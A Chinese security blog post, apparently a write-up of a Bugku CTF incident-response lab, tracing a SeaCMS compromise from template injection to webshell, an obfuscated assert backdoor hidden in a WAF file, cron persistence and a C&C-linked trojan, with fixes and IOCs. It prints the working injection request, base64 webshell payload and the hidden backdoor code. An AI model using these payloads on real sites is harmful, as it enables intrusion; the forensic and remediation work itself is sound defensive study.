ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Bugku PAR 应急响应复盘:SeaCMS 模板注入到持久化清除

Bugku PAR 应急响应复盘:SeaCMS 模板注入到持久化清除

WP · Bugku PAR「网络安全事件应急响应」——X集团 WebServer 入侵溯源与处置

题目:网络安全事件应急响应(Bugku CTF Plus / PAR 专题,作者 Jesen) 场景:X集团 WebServer 被入侵,Web 应用被上传恶意软件、系统文件被破坏;要求追踪攻击来源,检查日志、进程、系统文件与恶意文件,定位漏洞并修复。 目标:Bugku 平台按题目分配的一次性授权靶机(Ubuntu 22.04 + Nginx 1.18 + PHP-FPM 5.6 + SeaCMS),本文不公开登录凭据。 结果:10/10(8 个取证项 + 2 个修复 Check 全部通过);复盘用时约 33 分钟。


一、摘要

本次应急响应的处置对象是一台对外暴露 80 端口的 SeaCMS 站点。取证与处置结论如下:

  • 攻击者38.207.130.14使用DirBuster完成目录爆破后,利用 SeaCMSsearch.php模板引擎parseIf的过滤缺陷(未过滤$_SERVER)实现代码执行;
  • 于2023-11-03 15:03:35写入一句话木马a.php,此后经该木马投放伪装为php-fpm的 Go 木马;
  • 攻击者通过www-data计划任务实现持久化,木马持续外联38.95.101.254:443;
  • 修复采用代码层黑名单补齐(不删除文件),清理采用「先断链、再杀进程、最后删文件」的顺序,最终站点恢复正常、恶意组件清除。

完整答案见文末「靶场答案」章节,便于先看分析过程、后核对结论。


二、授权与环境

项目内容
授权方式Bugku 平台按题分配的一次性靶机场景(含时效)
系统Ubuntu 22.04,kernel 5.15
WebNginx 1.18.0(0.0.0.0:80)
运行时PHP-FPM 5.6.40
数据库MySQL 5.7(仅监听 127.0.0.1:3306)
应用SeaCMS(页面标题BUGKU PAR CMS)
暴露面22/tcp(SSH)、80/tcp(HTTP)

取证原则:先只读采集(日志、进程、文件时间戳、网络连接),再进行修复与清理;所有命令、时间与原始输出留档至evidence/。


三、攻击面

图 1:受害主机组件构成与后门/木马位置。Web 层为 Nginx + PHP-FPM + SeaCMS,include/common.php全站加载 WAF 组件,成为后门载体。

从拓扑可见两个关键事实:

  1. 对外仅暴露 80,入口收敛在 Web 层,攻击面主要在应用代码与第三方组件;
  2. 恶意程序与持久化均不在 Web 目录内(/var/crash+crontab),仅检查 Web 目录无法完成排查。

四、取证方法与日志分析

4.1 日志聚合

取证第一站为/var/log/nginx/access.log(共 15367 行)。先做两个维度聚合,快速区分「人」与「工具」:

awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head # 15357 38.207.130.14 # 2 212.70.149.142 # 2 149.50.96.22 awk -F'"' '{print $6}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head # 15042 DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project) # 132 Mozilla/5.0 (Windows NT 10.0; Win64; x64) ... Chrome/118.0.0.0 Safari/537.36

结论:

  • 攻击源单一且高度集中:15367 条请求中 15357 条来自38.207.130.14(对应题目第 1 问);
  • 扫描器指纹明确:UA 中直接声明DirBuster-1.0-RC1,共 15042 次,且以 HEAD/GET、404 为主(对应题目第 2 问)。

4.2 时间线重建

对攻击者 IP 的请求按时间排序后,行为序列清晰:

14:57:04 DirBuster 目录爆破(UA: DirBuster-1.0-RC1) 14:59:34 POST /search.php?phpinfo(); -> 200 30301 14:59:51 POST /search.php?system('id'); -> 200 4343 15:01:13 POST /search.php?eval($_SERVER['HTTP_TOKEN']); -> 200 30400 15:03:35 POST /search.php?eval(base64_decode('...')) -> 200 4527 15:04:47 POST /a.php -> 200 165

图 2:2023-11-03 攻击事件与 2026-10-31 本次授权处置的时间线对照。

其中 15:03:35 一条为关键节点:

38.207.130.14 - - [03/Nov/2023:15:03:35 +0800] "POST /search.php?eval(base64_decode(' ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1" 200 4527

base64 解码结果为:

file_put_contents('a.php','<?php eval($_POST[1]); ?>');

文件系统时间戳与之一致(a.phpmtime =2023-11-03 15:03:35),据此确定「首次攻击成功」时刻(对应题目第 3 问)。

格式说明:题目要求DD/MM/YYYY:HH:MM:SS(示例31/01/2000:01:02:03),需使用四位年份。


五、入口与根因分析

图 3:一次攻击请求从 HTTP 头进入,经 Nginx/PHP-FPM、模板引擎 eval,最终落盘并转为持久化与外联的数据流。

5.1 模板引擎的过滤缺陷

SeaCMS 的模板解析位于include/main.class.php。parseIf()/parseSubIf()在eval前执行黑名单替换:

$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_', 'base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_', '_GET','_POST','_COOKIE','_REQUEST','_SESSION', 'eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v); ... @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

黑名单覆盖了常见超全局变量,但遗漏$_SERVER。攻击者据此将代码放入自定义请求头:

POST /search.php?eval($_SERVER['HTTP_TOKEN']); TOKEN: <PHP 代码>

URL 仅作标记,实际代码由请求头传入并在模板 eval 阶段执行,从而绕过过滤。该问题对应 SeaCMS V6.45–V6.55 的已知前台代码执行缺陷。

5.2 后门文件与密码

cat /var/www/html/a.php # <?php eval($_POST[1]); ?> ls -la /var/www/html/a.php # 25 bytes, mtime 2023-11-03 15:03:35 md5sum /var/www/html/a.php # ded0f1c34476e7f529a2dbce6a3c3b90

对应题目第 4、5 问:后门文件为/var/www/html/a.php,密码(POST 数组键)为1。


六、正常代码中的隐藏后门

图 4:Web 根目录关键文件树,标注注入入口、WAF 后门、木马与修复点。

在include/webscan/360webscan.php第 16–19 行发现噪声混淆代码:

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7

去混淆:

"ss" + "e" + "r" = sser "a" + "sser" + "t" = assert {"_P" + "OS" + "T"} = $_POST 0 - 2 - 5 = -7 => @assert($_POST[-7]);

该文件被include/common.php以require_once引入,所有页面均会加载,等同于全站assert后门(对应题目第 6 问)。


七、恶意程序、持久化与 C&C

图 5:伪装 php-fpm 木马的生命周期与正确/错误处置路径。

7.1 持久化定位

ps中的php-fpm进程数量异常,但名称正常,直接排查容易漏检。转向计划任务:

cat /var/spool/cron/crontabs/www-data # * * * * * /var/crash/php-fpm &

/var/crash/为系统崩溃转储目录,正常运维不会从此处启动服务,可疑度显著。

7.2 样本与进程

file /var/crash/php-fpm # ELF 64-bit LSB executable, x86-64, statically linked, stripped ls -la /var/crash/php-fpm # -rwxrwxrwx 1 www-data www-data 13692928 Nov 3 2023 md5sum /var/crash/php-fpm # 8949320a9a297ef329606df84031f5d8 ps aux | grep -c "[v]ar/crash/php-fpm" # 8 ~ 15(cron 每分钟拉起一个实例)

样本为 Go 木马(garble 处理),字段包含ActiveC2、Register、ReconnectInterval等,运行身份为www-data,工作目录/var/www。对应题目第 7 问。

7.3 C&C 定位

二进制字符串中无明文地址,改以网络行为定位。以 0.5 秒间隔轮询ss:

for i in $(seq 1 60); do ss -tanp | grep -E "php-fpm|crash" | grep -v LISTEN sleep 0.5 done | sort | uniq -c

观测结果:

SYN-SENT 172.17.197.72:37050 -> 38.95.101.254:443 users:(("php-fpm",pid=1809,fd=3)) SYN-SENT 172.17.197.72:36996 -> 38.95.101.254:443 users:(("php-fpm",pid=1690,fd=3)) SYN-SENT 172.17.197.72:36994 -> 38.95.101.254:443 users:(("php-fpm",pid=2255,fd=3))

对应题目第 8 问:C&C 为38.95.101.254:443。木马仅使用 443 端口,流量层易被误判为普通 HTTPS。


八、攻击链总览

图 6:扫描 → 模板注入 → 写马 → 持久化 → 外联的完整时序。

阶段攻击行为证据
侦察DirBuster 目录爆破UADirBuster-1.0-RC1× 15042
初始访问search.php模板注入,$_SERVER绕过过滤14:59–15:03 请求序列
落点file_put_contents写入a.php15:03:35 + mtime
持久化www-datacrontab 每分钟拉起16:28:32
外联木马连接38.95.101.254:443ss观测 SYN-SENT

九、修复(题目第 9 问)

题目明确禁止以删除文件的方式修复,因此修复点为补齐parseIf/parseSubIf的黑名单:

cp -a /var/www/html/include/main.class.php /root/main.class.php.bak-$(date +%Y%m%d%H%M%S) sed -i "s/,'_SESSION','eval('/,'_SESSION','_SERVER','eval('/g" /var/www/html/include/main.class.php php -l /var/www/html/include/main.class.php # No syntax errors detected service php5.6-fpm restart # 重启 FPM 使修改立即生效

变更内容(两处):

- ... '_REQUEST','_SESSION','eval(', ... + ... '_REQUEST','_SESSION','_SERVER','eval(', ...

验证:

curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1/ # 200 curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1/search.php?searchword=test" # 200

注意:PHP-FPM 启用 opcache 时,修改源码后必须重启 FPM 或确认缓存失效,否则旧字节码仍会生效,平台 Check 将失败。


十、清理(题目第 10 问)

处置顺序为「先断链 → 再杀进程 → 最后删文件」:

crontab -r -u www-data # 1) 移除持久化 pkill -9 -f "/var/crash/php-fpm" # 2) 结束恶意进程 rm -f /var/www/html/a.php /var/crash/php-fpm # 3) 删除木马文件与样本 sed -i '/\/\*-\/\*-\*\//d' /var/www/html/include/webscan/360webscan.php # 4) 清除后门代码 php -l /var/www/html/include/webscan/360webscan.php

说明:360webscan.php为站点自带 WAF 组件,仅删除恶意代码段、保留文件本体;a.php与/var/crash/php-fpm需整体删除。

核验结果:

no crontab for www-data 0 malware procs /var/www/html/a.php: No such file or directory /var/crash/php-fpm: No such file or directory home=200 search=200 a.php=404

十一、处置效率复盘

图 7:本次授权处置各阶段耗时(秒),用于复盘时间分配。

时间主要消耗在日志分析与样本定位(约 7 分钟);修复与清理合计约 5 分钟;平台交互(登录、提交、Check)约 6 分钟。若在真实 IR 场景,建议将「日志聚合脚本化」与「进程/网络证据自动采集」前置,可显著压缩第一阶段耗时。


十二、IOC 与检测加固建议

类型值
攻击者 IP38.207.130.14
C&C38.95.101.254:443
恶意文件/var/www/html/a.php(md5ded0f1c34476e7f529a2dbce6a3c3b90)
恶意程序/var/crash/php-fpm(md58949320a9a297ef329606df84031f5d8,13,692,928 B)
持久化www-datacrontab:* * * * * /var/crash/php-fpm &
后门代码360webscan.php内/*-/*-*/混淆的assert($_POST[-7])
扫描特征UA 含DirBuster-1.0-RC1的高频 HEAD/GET 404

加固建议:

  1. 模板引擎在eval前采用白名单表达式语法,而非黑名单字符串替换;至少覆盖全部超全局变量;
  2. 对 Web 目录写权限做最小化,监控file_put_contents新建.php文件;
  3. 监控/var/spool/cron/crontabs/*与/etc/cron*变更;
  4. 对/var/crash、/tmp等目录出现可执行文件建立告警;
  5. 出向 443 的高频短连接与异常进程路径(/var/crash/php-fpm)做关联检测;
  6. 对第三方组件(WAF、编辑器、备份插件)纳入源码静态扫描(D 盾/河马/自研规则)。

十三、靶场答案(10/10)

#题目答案
1攻击者 IP38.207.130.14
2目录扫描工具(小写)dirbuster
3首次攻击成功时间03/11/2023:15:03:35
4恶意后门文件/var/www/html/a.php
5后门密码1
6隐藏于正常代码的恶意代码/var/www/html/include/webscan/360webscan.php
7恶意程序进程/var/crash/php-fpm
8C&C 服务器38.95.101.254:443
9修复漏洞(禁止删文件)main.class.php的parseIf/parseSubIf黑名单补_SERVER
10删除恶意程序/文件/代码删a.php、/var/crash/php-fpm、www-datacrontab;清360webscan.php后门代码(保留文件)

平台判定:第 1–8 项均返回「恭喜您,Flag正确」;第 9、10 项 Check 返回「恭喜您,修复成功!」;最终页面显示「已解决 10/10」。

独立验证与合规说明:本文未使用任何付费 WriteUp;全部结论来自靶机取证与平台黑盒判定,推导链条如下:

  • 第 1–2 项:access.log的 IP/UA 聚合统计(原始日志已全量下载至evidence/);
  • 第 3 项:日志中 15:03:35 的 base64 载荷解码结果,与a.php的 mtime(2023-11-03 15:03:35.32)双向印证,格式取自题目页面自带示例(31/01/2000:01:02:03);
  • 第 4–8 项:cat/md5sum/file、crontabs读取、ss轮询等原始命令输出;
  • 第 9 项:漏洞点由攻击载荷($_SERVER[HTTP_TOKEN])与parseIf黑名单缺项推导;应用修补后仅重启 PHP-FPM(此时 WAF 后门仍未清除)平台 Check 即通过,说明该 Check 针对的正是模板过滤路径,可作为修复有效性的独立黑盒证据;另在靶机 CLI 复现过滤机制(evidence/independent-verification.txt):未打补丁时assert($_SERVER['TOKEN'])可执行请求头中的代码,打补丁后_SERVER被替换为@.@,eval 表达式语法错误、执行被阻断;
  • 第 10 项:按「断链 → 杀进程 → 删文件 → 清后门代码」执行后,平台 Check 通过,且站点home=200 / search=200 / a.php=404。

十四、图形索引

正文内嵌的图 1–7 依次为:

图说明
图 1 攻击面拓扑暴露面、后门、木马与 C&C 的相对位置
图 2 攻击/处置时间线2023 攻击事件与 2026 处置的时间对照
图 3 攻击数据流请求 → 模板引擎 → 落盘 → 外联
图 4 Web 根目录树后门/木马/修复点在目录树中的位置
图 5 木马生命周期持久化与正确/错误处置路径
图 6 攻击链时序攻击者五步动作的先后关系
图 7 阶段耗时本次处置的时间分配

图形仅作辅助说明,不替代原始命令与日志证据;正文已内嵌对应静态截图,图形不影响结论核对。


十五、参考

  • 题目页面:https://ctf.bugku.com/ctfplus/detail/id/7.html(需登录并启动场景;时间格式示例来自该页面)
  • 证据文件:evidence/nginx-access.log(全量日志)、evidence/key-evidence.md(关键摘录)、evidence/remediation-diff.txt(修复 diff)、evidence/bugku-par-detail-solved.html(10/10 页面快照)
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进